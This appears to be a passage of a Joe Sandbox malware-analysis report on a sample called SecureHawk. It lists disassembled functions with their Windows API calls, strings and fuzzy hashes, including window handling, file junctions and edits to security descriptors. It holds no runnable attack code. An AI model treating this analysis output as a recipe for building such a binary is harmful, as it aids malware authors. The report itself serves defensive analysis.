Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pr;
API String ID: 169749273-1659021676
Opcode ID: cb618ce25172de158fe84c0ce8a63826e32e19b366d6b56bba48ad4f66fc4595
Instruction ID: bee07c46abeac4f4b2426ae40bf3757c57222ed0bc81dd5f33e9c02e1c86e741
Opcode Fuzzy Hash: cb618ce25172de158fe84c0ce8a63826e32e19b366d6b56bba48ad4f66fc4595
Instruction Fuzzy Hash: 34618E71108301AFC716EF60DC85D9FBBE8EF89750F000A2DF696971A1DB709A49CB52

Function 0034B699 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0034B6F8

Strings

HANDLE=, xrefs: 0034B6F1
[CLASS:, xrefs: 0034B748
ACTIVE, xrefs: 0034B6D3
REGEXP=, xrefs: 0034B70D
[LAST, xrefs: 0034B7A5
[REGEXPTITLE:, xrefs: 0034B720
CLASSNAME=, xrefs: 0034B735
[ALL, xrefs: 0034B79E
ALL, xrefs: 0034B78C
[ACTIVE, xrefs: 0034B6E5
LAST, xrefs: 0034B6BD
[HANDLE:, xrefs: 0034B704

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: a6bb8c307baea010fa08fe177a24590661ee26bc59fd930672c1ef345706b70f
Instruction ID: ab02b82fa98d30dde60294ec475a32ae9b10f5523b9d027e06fab222ad739a15
Opcode Fuzzy Hash: a6bb8c307baea010fa08fe177a24590661ee26bc59fd930672c1ef345706b70f
Instruction Fuzzy Hash: 33317231A45205AADB1BEBA0CD93EEDB7E8EF19750F20052AF402790D6EF61BE04C651

Function 0034C97A Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 0034C98D
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0034C99F
SetWindowTextW.USER32(?,?), ref: 0034C9B6
GetDlgItem.USER32(?,000003EA), ref: 0034C9CB
SetWindowTextW.USER32(00000000,?), ref: 0034C9D1
GetDlgItem.USER32(?,000003E9), ref: 0034C9E1
SetWindowTextW.USER32(00000000,?), ref: 0034C9E7
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0034CA08
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 0034CA22
GetWindowRect.USER32(?,?), ref: 0034CA2B
SetWindowTextW.USER32(?,?), ref: 0034CA96
GetDesktopWindow.USER32 ref: 0034CA9C
GetWindowRect.USER32(00000000), ref: 0034CAA3
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 0034CAEF
GetClientRect.USER32(?,?), ref: 0034CAFC
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 0034CB21
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0034CB4C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 114fd03e4a96cbcb545dbbba81fe7c748509080d0bae00004854389c5c680831
Instruction ID: 26b9bbb533e3ea8a789aab5727a17ee39fb6941f634bc271e9a0898d115ca3cd
Opcode Fuzzy Hash: 114fd03e4a96cbcb545dbbba81fe7c748509080d0bae00004854389c5c680831
Instruction Fuzzy Hash: 63517C31A00709EFDB62DFA8CD89B6EBBF9FF04705F000929E586A65A0D774B914CB50

Function 003654AD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 003654C3
LoadCursorW.USER32(00000000,00007F00), ref: 003654CE
LoadCursorW.USER32(00000000,00007F03), ref: 003654D9
LoadCursorW.USER32(00000000,00007F8B), ref: 003654E4
LoadCursorW.USER32(00000000,00007F01), ref: 003654EF
LoadCursorW.USER32(00000000,00007F81), ref: 003654FA
LoadCursorW.USER32(00000000,00007F88), ref: 00365505
LoadCursorW.USER32(00000000,00007F80), ref: 00365510
LoadCursorW.USER32(00000000,00007F86), ref: 0036551B
LoadCursorW.USER32(00000000,00007F83), ref: 00365526
LoadCursorW.USER32(00000000,00007F85), ref: 00365531
LoadCursorW.USER32(00000000,00007F82), ref: 0036553C
LoadCursorW.USER32(00000000,00007F84), ref: 00365547
LoadCursorW.USER32(00000000,00007F04), ref: 00365552
LoadCursorW.USER32(00000000,00007F02), ref: 0036555D
LoadCursorW.USER32(00000000,00007F89), ref: 00365568
GetCursorInfo.USER32(?), ref: 00365578

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 4a4925ea605c75da4e28cda37b501a9dbefb0ca4a9dbf20080d9534854463763
Instruction ID: 036376bed34bdcc4f78065c5d56db31e2f2563620eb200757b0765580084dbc3
Opcode Fuzzy Hash: 4a4925ea605c75da4e28cda37b501a9dbefb0ca4a9dbf20080d9534854463763
Instruction Fuzzy Hash: 7F31F2B0D4831A6ADB119FB68C8996EBFE9FF04750F50453AA60DE7280DB78A5048F91

Function 0037A5A6 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0037A646
DestroyWindow.USER32(00000000,?), ref: 0037A6C0

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0037A73A
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0037A75C
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0037A76F
DestroyWindow.USER32(00000000), ref: 0037A791
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,002F0000,00000000), ref: 0037A7C8
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0037A7E1
GetDesktopWindow.USER32 ref: 0037A7FA
GetWindowRect.USER32(00000000), ref: 0037A801
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0037A819
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0037A831

Part of subcall function 002F29AB: GetWindowLongW.USER32(?,000000EB), ref: 002F29BC

Strings

tooltips_class32, xrefs: 0037A733, 0037A7C1
0, xrefs: 0037A65C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 658ca321c5e4691b270c95f331438f84b1573ad39d1aa3f20607c903dde473b4
Instruction ID: a461a00e5bb2fc615b910f31bbc91049f0f6e2b2e8324122bb1211bffd739063
Opcode Fuzzy Hash: 658ca321c5e4691b270c95f331438f84b1573ad39d1aa3f20607c903dde473b4
Instruction Fuzzy Hash: 9A718771140745AFD726CF28CC49FAA7BE9FBC8304F04861DF989872A1D778A916CB52

Function 00358142 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00358187
VariantCopy.OLEAUT32(00000000,?), ref: 00358190
VariantClear.OLEAUT32(00000000), ref: 0035819C
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 0035828A
__swprintf.LIBCMT ref: 003582BA
VarR8FromDec.OLEAUT32(?,?), ref: 003582E6
VariantInit.OLEAUT32(?), ref: 00358397
SysFreeString.OLEAUT32(?), ref: 0035842B
VariantClear.OLEAUT32(?), ref: 00358485
VariantClear.OLEAUT32(?), ref: 00358494
VariantInit.OLEAUT32(00000000), ref: 003584D2

Strings

Default, xrefs: 00358347
%4d%02d%02d%02d%02d%02d, xrefs: 003582B4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 014b0808ac4c1fff5e7b53f55737086beed7d0de39834a5638fb3bbe86f24e36
Instruction ID: 1c795733181ddfa1198b575fd4e2dfc1b26726c7c93e2d7cd17d65eb6ab23704
Opcode Fuzzy Hash: 014b0808ac4c1fff5e7b53f55737086beed7d0de39834a5638fb3bbe86f24e36
Instruction Fuzzy Hash: 73D11170600A16DBDB269F66C845FB9B7B8BF04742F108455EC04BF6A0CF70AD49DBA0

Function 00374797 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00374829
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00374874

Strings

GETTEXT, xrefs: 003749C7
GETITEMCOUNT, xrefs: 00374956
GETSELECTED, xrefs: 00374984
SELECT, xrefs: 00374A25
GETTOTALCOUNT, xrefs: 0037485B
UNCHECK, xrefs: 00374A50
EXISTS, xrefs: 003748DD
CHECK, xrefs: 00374894
EXPAND, xrefs: 00374926
ISCHECKED, xrefs: 003749F7
COLLAPSE, xrefs: 003748BA

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 7d323165e3b16f9a64734282d9670d731ac00d631a07371bed86bca50ffb493b
Instruction ID: 95215956b849c3fa5af130b95f42a0f926808154d09efbe8514c593358ea02a8
Opcode Fuzzy Hash: 7d323165e3b16f9a64734282d9670d731ac00d631a07371bed86bca50ffb493b
Instruction Fuzzy Hash: EF918F342007019FCB1AEF10C451A7AB7A5AF95354F00896CF8AA5F7A2CB75FD49CB82

Function 0037BBEB Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0037BCA1
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,003795AF), ref: 0037BCFD
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0037BD36
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0037BD79
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0037BDB0
FreeLibrary.KERNEL32(?), ref: 0037BDBC
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0037BDCC
DestroyIcon.USER32(?,?,?,?,?,003795AF), ref: 0037BDDB
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0037BDF8
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0037BE04

Part of subcall function 0031305F: __wcsicmp_l.LIBCMT ref: 003130E8

Strings

.icl, xrefs: 0037BC17
.exe, xrefs: 0037BC37
.dll, xrefs: 0037BC5A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: d9670a3fcb704e55e0dffae2bc97acebf0da26fa271e0ccc989eed65a27a892b
Instruction ID: 473ed760e986a70a65788202228f6c6b3d6c4f26cc588bc32db4d110e8af456d
Opcode Fuzzy Hash: d9670a3fcb704e55e0dffae2bc97acebf0da26fa271e0ccc989eed65a27a892b
Instruction Fuzzy Hash: AD61C171500615FEEB2ADF64CC45BBAB7BCEF08710F108145F919D60D1DBB8AA94CBA0

Function 002F23F7 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,002F2412,?,00000000,?,?,?,?,002F1AA7,00000000,?), ref: 002F1F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 002F24AF
KillTimer.USER32(-00000001,?,?,?,?,002F1AA7,00000000,?,?,002F1EBE,?,?), ref: 002F254A
DestroyAcceleratorTable.USER32(00000000), ref: 0032BF17
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,002F1AA7,00000000,?,?,002F1EBE,?,?), ref: 0032BF48
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,002F1AA7,00000000,?,?,002F1EBE,?,?), ref: 0032BF5F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,002F1AA7,00000000,?,?,002F1EBE,?,?), ref: 0032BF7B
DeleteObject.GDI32(00000000), ref: 0032BF8D

Strings

h8, xrefs: 002F256F

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID: h8
API String ID: 641708696-1078280285
Opcode ID: 478719b3141fa0088189fe8fec404bbb9b95b3226138700824f1508dcbd6477a
Instruction ID: e0c0b8aaa2d4ae2c44d0147ea3b5e52b0a06afc7dcf61443ecc50d00a458deff
Opcode Fuzzy Hash: 478719b3141fa0088189fe8fec404bbb9b95b3226138700824f1508dcbd6477a
Instruction Fuzzy Hash: B261D031120719DFDB2A9F14DD4AB3AF7B5FF4135AF108628E24296960C7B8A8A4CF50

Function 0035A0E8 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0035A12F

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 0035A150
__swprintf.LIBCMT ref: 0035A1A9
__swprintf.LIBCMT ref: 0035A1C2
_wprintf.LIBCMT ref: 0035A269
_wprintf.LIBCMT ref: 0035A287

Strings

Line %d (File "%s"):, xrefs: 0035A1A3, 0035A1BC
Incorrect parameters to object property !, xrefs: 0035A20B
Error: , xrefs: 0035A231
"%s" (%d) : ==> %s:, xrefs: 0035A282
^ ERROR , xrefs: 0035A1FE
"%s" (%d) : ==> %s:%s%s, xrefs: 0035A264

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 042d57fe944b2dda87aedf7880d0188676577687f12b410f09592ca2ea68248a
Instruction ID: 02e06e1f7ae03dc71985daac9546f97a544eba96d029432457f96ebf75ecb3d8
Opcode Fuzzy Hash: 042d57fe944b2dda87aedf7880d0188676577687f12b410f09592ca2ea68248a
Instruction Fuzzy Hash: 09519F71941209AADF17EBE0CD52EEEB778EF04341F100665F905B60A2EB352F58DB61

Function 0035A802 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 002F4D37: __itow.LIBCMT ref: 002F4D62
Part of subcall function 002F4D37: __swprintf.LIBCMT ref: 002F4DAC

CharLowerBuffW.USER32(?,?), ref: 0035A87B
GetDriveTypeW.KERNEL32 ref: 0035A8C8
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0035A910
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0035A947
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0035A975

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

Strings

open , xrefs: 0035A8D7
open, xrefs: 0035A8A2
wait, xrefs: 0035A932
close, xrefs: 0035A881
close cd wait, xrefs: 0035A960
type cdaudio alias cd wait, xrefs: 0035A8F3
closed, xrefs: 0035A88F, 0035A898
set cd door , xrefs: 0035A916

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 398c4d14e7b91706a3cd333820eb86af61f78c7123f86a9c52be12cf4b9e2165
Instruction ID: 222eddde20e589243d5958fe14cb14bf288b282ac126c3a352b49fb2b1bce07f
Opcode Fuzzy Hash: 398c4d14e7b91706a3cd333820eb86af61f78c7123f86a9c52be12cf4b9e2165
Instruction Fuzzy Hash: 9C514C711047059FC706EF10C89196BB7E8FF88758F10896DF8969B2A1DB71AE09CB92

Function 0035A69F Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0035A6BF
__swprintf.LIBCMT ref: 0035A6E1
CreateDirectoryW.KERNEL32(?,00000000), ref: 0035A71E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0035A743
_memset.LIBCMT ref: 0035A762
_wcsncpy.LIBCMT ref: 0035A79E
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0035A7D3
CloseHandle.KERNEL32(00000000), ref: 0035A7DE
RemoveDirectoryW.KERNEL32(?), ref: 0035A7E7
CloseHandle.KERNEL32(00000000), ref: 0035A7F1

Strings

:, xrefs: 0035A702
\??\%s, xrefs: 0035A6DB
\, xrefs: 0035A6F7

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 7bc6020dcdff5f024d5e0929819c2c28c5783c5d5ecf862fc022f93bf4b68d1f
Instruction ID: 08624ed2cada23f522858b73c690ab8035285d224f18fbb73f27458479734d92
Opcode Fuzzy Hash: 7bc6020dcdff5f024d5e0929819c2c28c5783c5d5ecf862fc022f93bf4b68d1f
Instruction Fuzzy Hash: 1A31A37150024AABDB229FA0DC49FEB77BCEF8C701F1041A6F919D6160E77097898B25

Function 0037C5CF Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F29E2: GetWindowLongW.USER32(?,000000EB), ref: 002F29F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0037C61F
GetFocus.USER32 ref: 0037C62F
GetDlgCtrlID.USER32(00000000), ref: 0037C63A
_memset.LIBCMT ref: 0037C765
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0037C790
GetMenuItemCount.USER32(?), ref: 0037C7B0
GetMenuItemID.USER32(?,00000000), ref: 0037C7C3
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0037C7F7
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0037C83F
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0037C877
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0037C8AC

Strings

0, xrefs: 0037C75D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 63620afa87afad3da8d021a52d24e46e01babee270228a723d94cbc3da2088bd
Instruction ID: b20f1cf978ab7518e1587d6a875b0dd843ced90c7c0d23aec3fcaff513664f9c
Opcode Fuzzy Hash: 63620afa87afad3da8d021a52d24e46e01babee270228a723d94cbc3da2088bd
Instruction Fuzzy Hash: 0C81F270218341AFD726CF14C885A6BBBE8FF88314F04992EF99997291D734D805CFA2

Function 003488AD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00348C03: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00348C1F
Part of subcall function 00348C03: GetLastError.KERNEL32(?,003486E3,?,?,?), ref: 00348C29
Part of subcall function 00348C03: GetProcessHeap.KERNEL32(00000008,?,?,003486E3,?,?,?), ref: 00348C38
Part of subcall function 00348C03: HeapAlloc.KERNEL32(00000000,?,003486E3,?,?,?), ref: 00348C3F
Part of subcall function 00348C03: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00348C56

Part of subcall function 00348CA0: GetProcessHeap.KERNEL32(00000008,003486F9,00000000,00000000,?,003486F9,?), ref: 00348CAC
Part of subcall function 00348CA0: HeapAlloc.KERNEL32(00000000,?,003486F9,?), ref: 00348CB3
Part of subcall function 00348CA0: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,003486F9,?), ref: 00348CC4

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00348911
_memset.LIBCMT ref: 00348926
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00348945
GetLengthSid.ADVAPI32(?), ref: 00348956
GetAce.ADVAPI32(?,00000000,?), ref: 00348993
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 003489AF
GetLengthSid.ADVAPI32(?), ref: 003489CC
